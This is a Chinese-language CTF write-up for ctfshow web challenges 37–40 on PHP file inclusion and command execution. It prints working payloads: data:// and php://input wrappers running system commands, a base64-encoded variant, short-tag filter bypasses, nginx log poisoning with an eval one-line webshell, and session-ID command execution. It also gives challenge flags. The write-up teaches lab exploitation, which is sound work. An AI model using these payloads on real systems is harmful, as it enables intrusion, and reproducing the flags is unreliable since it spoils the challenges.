目录

1、web37 

2、web38

3、web39

4、web40


命令执行,需要严格的过滤

 

1、web37 

使用 php 伪协议:

?c=php://input

post 写入我们希望执行的 php 代码:

<?php system('tac f*');?>

拿到 flag:ctfshow{5c555d9a-6f55-411a-a25f-d38b70240639}

再看 wp 它用到是 data:// 协议,也是 php 伪协议

payload:

?c=data://text/plain,<?php system('tac f*')?>

利用源码中的 include($c); 将我们想要执行的代码包含进去,其实和 php://input 是一样的,让用户可以控制输入流,当它与文件包含函数结合时,用户输入的 data:// 流就会被当作 php 文件执行。

2、web38

新增过滤 php 和 file

php 短标签:

<? echo '123';?>  #前提是开启配置参数short_open_tags=on
<?=(表达式)?>  等价于 <?php echo (表达式)?>  #不需要开启参数设置
<% echo '123';%>   #开启配置参数asp_tags=on,并且只能在7.0以下版本使用
<script language="php">echo '123'; </script> #不需要修改参数开关,但是只能在7.0以下可用。

我们使用一个没有前提条件的进行绕过,构造 payload:

?c=data://text/plain,<?=system('tac f*')?>

拿到 flag:ctfshow{924d4c68-d3ad-4188-bfbd-6b1d6b5f60b2}

也可以这样写:

?c=data://text/plain,<?=`ls`;

?c=data://text/plain,<?=`tac f*`;

我们也可以采用编码绕过,对 <?php system("tac flag.php");?> 进行 base64 编码再传入:

构造 payload:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==

查看提示,还可以包含 nginx 的日志文件拿 shell:

对于Apache,日志存放路径:/var/log/apache/access.log

对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log

访问一下日志文件,确实有东西:

?c=/var/log/nginx/access.log

服务器开启了记录日志的功能,就可能导致日志包含漏洞,用户可以进行任意文件读取:

中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。 

从上面的日志信息可以看出是 User-Agent 的内容,这里我们使用 burpsuite 抓包,在 User-Agent 里插入一句话木马 :

<?php @eval($_REQUEST['cmd']);?>

上蚁剑,连接的文件就是日志文件:

进来后就可以直接看到 flag.php:

我们写的马就在这里:

但是在前端包含出来却看不到:

3、web39

这次的方式不一样了,还会在传入的内容后面拼接 .php,由于它把 flag 过滤掉了,而且这里包含后也没有输出 $flag 的语句,因此我们需要自己来调用,用 web37 的 payload:

为了看起来好一点便于后面的理解,这里我们用 cat 来读取

?c=data://text/plain,<?php system('cat f*')?>

传入后的内容为:

<?php ...

include(<?php system('cat f*')?>.php); 

读取 flag的 php 语句已经正常闭合,所以后面拼接的 .php 不会产生什么影响

拿到 flag:ctfshow{be201a78-e3b6-4957-8016-f61b31341ded}

我们也可以将整个 php 代码闭合掉,让 .php 不执行而是被直接显示:

?c=data://text/plain,<?php system('cat f*')?>)?>

4、web40

首先说一下这里正则匹配有几处用到了多个反斜杠的原因:

在正则表达式中,美元符号 $ 通常表示字符串的结束位置,为了匹配字面上的美元符号 $,需要使用反斜杠进行转义,即 \$;在正则表达式中,一个反斜杠需要使用 \\ 表示,但由于在 PHP 字符串中,反斜杠也需要转义,所以需要四个反斜杠 \\\\ 来表示正则表达式中的一个反斜杠。

晃眼一看这里几乎把所有符号都过滤掉了,但是仔细一看这里过滤掉的括号是中文的括号:()

也就是说英文的括号其实是能用的:()

使用无参数的 payload:

show_source(next(array_reverse(scandir(pos(localeconv())))));

拿到 flag:ctfshow{ebf5b012-7536-4a50-8049-37ebe85ca7c4}

看下提示,还有另一种做法:通过 cookie 获得参数进行命令执行

session_start() 函数用于启动一个新的 PHP 会话,session_id() 函数返回当前会话的会话 ID,将会话 ID 作为系统命令执行。使用 session 之前需要先用 session_start() 告诉 php 使用session,php 默认是不主动使用session的,也就是说原本的cookie 里是没有 PHPSESSID 这项的:

请求 

?c=session_start();system(session_id());

再次抓包即可看到 cookie 多出了 PHPSESSID 这:

修改 PHPSESSID 为我们希望执行的命令,即可实现命令执行:

但是这里并不能直接命令执行读取 flag,在标准的 PHP 会话管理中,会话 ID 不应包含空格。

美元符号 $ 也不行

其他一些命令是可以正常执行的

那么这里如何读取 flag.php

还是用 show_source ,构造 payload:

show_source(session_id(session_start()));

也可以用 highlight_file 或者  readfile 函数

但是会遇到前面的这个问题,会话 ID 包含了非法字符,点是不可以的

还有另一个问题:

在 PHP 中,一旦会话被激活,就不能再更改会话 ID。

折腾了一下到后面只要传入 show_source(session_id(session_start())); 就会显示容器有问题了

重启容器也没有解决这个问题:

Cannot change session id when session is active in

应该是题目搭建环境不一样吧,不折腾了,知道有这种方法就行。

 

点赞(0) 打赏

评论列表 共有 0 条评论

暂无评论

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部